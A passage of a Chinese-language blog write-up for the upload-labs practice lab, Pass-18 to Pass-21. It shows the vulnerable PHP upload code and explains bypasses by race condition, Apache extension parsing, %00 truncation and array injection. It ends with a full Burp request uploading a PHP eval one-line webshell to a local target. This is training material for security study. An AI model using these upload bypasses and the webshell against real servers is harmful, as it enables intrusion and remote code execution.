再访问upload文件夹下面的auto_into_server.php,bp抓包,发送到intruder模块,在positions里把所有爆破点全部clear掉,在payloads的payloadtype里选Null payloads,payload options选continue indefinitely,记为二号方案

然后先让一号方案start attack,这个时候可以看到upload文件夹下面,auto_into_server模块时不时地会出现,再把后面的二号方案start attack,在二号方案弹出的爆破进程窗口点击fileter:Showing all items,将不是显示success的其他项目的钩取消掉。

看到200之后,我们就可以停止攻击了,这个时候upload文件夹下面就可以看到我们的yijuhua.php了,好耶,蚁蚁开天宝剑连接!(bushi)

Pass-19 条件竞争+Apache解析漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

这次代码比之前长很多,但是和上一题一样,是先执行的move函数,再执行的renameFile函数

但是不一样的是,上一题是“先上传再检查再重命名”

这一题是“先检查再上传再重新命名”

由于先上传再重命名,这里可以和上一题一样是条件竞争,在重命名之前访问php木马就可以做到执行写入一句话木马的木马代码,从而在文件夹里面留下一个一句话木马。

那么问题就是,怎么通过这个检查了,可以看到这个检查的函数具体怎么实现我们是不知道的

这里试了一下图片马,直接上传会被重命名……但是,用burp的intruder模块,一下子传一堆一个名字的图片马,就会留下一个名字不会被重命名的图片马,属实让我有点懵逼(这里标记一下,暂时理解成处理不过来?)然后用文件包含就可以连接到这个木马了

???

嘛,再看一下网上的办法,是用条件竞争+apache解析漏洞,由于apache不解析7z文件,所以形如1.php.7z就会被解析成1.php,那么就和上一题一模一样了,仅仅需要把名字从auto_into_server.php改成auto_into_server.php.7z。

Less-20 00%截断绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

可以看到,img_path的filename是由我们post的变量sava_name控制的,那显然,我们又可以%00截断绕过了!

和pass-13一样即可

Pass-21 综合-代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

解释一下一些函数

strtolower() 函数把字符串转换为小写。
explode()函数可以把字符串按照给定的间隔符打散成数组
end()函数将 array的内部指针移动到最后一个单元并返回其值
reset()函数将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值
count() 函数计算数组中的单元数目或对象中的属性个数,这里要注意,数组下标从0开始

可以看到,这里先检测MIME类型,然后可以post进去save_name,如果不post,那save_name就是文件名,然后如果file变量(也就是save_name)不是数组就按点号把文件名的字符串打散,取第一个和最后一个组合(如1.a.b.c会变成1.c)然后看看组合之后的文件后缀名是否能在白名单内,如果可以就上传至服务器

那么,我们只要令save_name是一个数组,那file变量就是数组,也就不会把文件名给打散了,并且要使$file[元素个数-1]不是最后一个元素,也就是需要save_name数组的最后一个元素需要是白名单里的元素

然后这边一直没绕过去……看了这篇博客之后被点通了

(43条消息) upload-labs通关(Pass-16~Pass-21)_仙女象的博客-CSDN博客

根据本关拼接最终文件名的方法,由于服务器是windows系统,文件名最后加个点号并没有关系,系统会自动去掉,所以可以save_name[0]=sh.php,save_name[2]=png,这样$file[2]=png,可以绕过后缀白名单检查,而count($file)为2,count($file)-1为1,而$file[1]根本不存在,因此组合成的最终的文件名是sh.php.,而windows系统会将其保存为sh.php。

这里展示一下修改之后的burp包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /bachang/upload-labs-master/Pass-21/index.php?action=show_code HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------391815264839255876962593452164
Content-Length: 504
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/bachang/upload-labs-master/Pass-21/index.php?action=show_code
Upgrade-Insecure-Requests: 1

-----------------------------391815264839255876962593452164
Content-Disposition: form-data; name="upload_file"; filename="yijuhua.jpg"
Content-Type: image/jpeg

<?php @eval($_POST['a']); ?>
-----------------------------391815264839255876962593452164
Content-Disposition: form-data; name="save_name[0]"

sh.php
-----------------------------391815264839255876962593452164
Content-Disposition: form-data; name="save_name[2]"

jpg
-----------------------------391815264839255876962593452164
Content-Disposition: form-data; name="submit"

上传
-----------------------------391815264839255876962593452164--

蚁剑连接,成功!

终于通关了,在写的时候参考了很多大佬的博客,比如

上传靶机实战之upload-labs解题 - 小艾搞安全 - 博客园 (cnblogs.com)

Upload-labs(1-15)详解 - 腾讯云开发者社区-腾讯云 (tencent.com)

感谢前辈的智慧(

过几天回去写几道sqlilabs,然后要准备开坑ctf-show的笔记了(主要应该是命令注入部分)

完结撒花!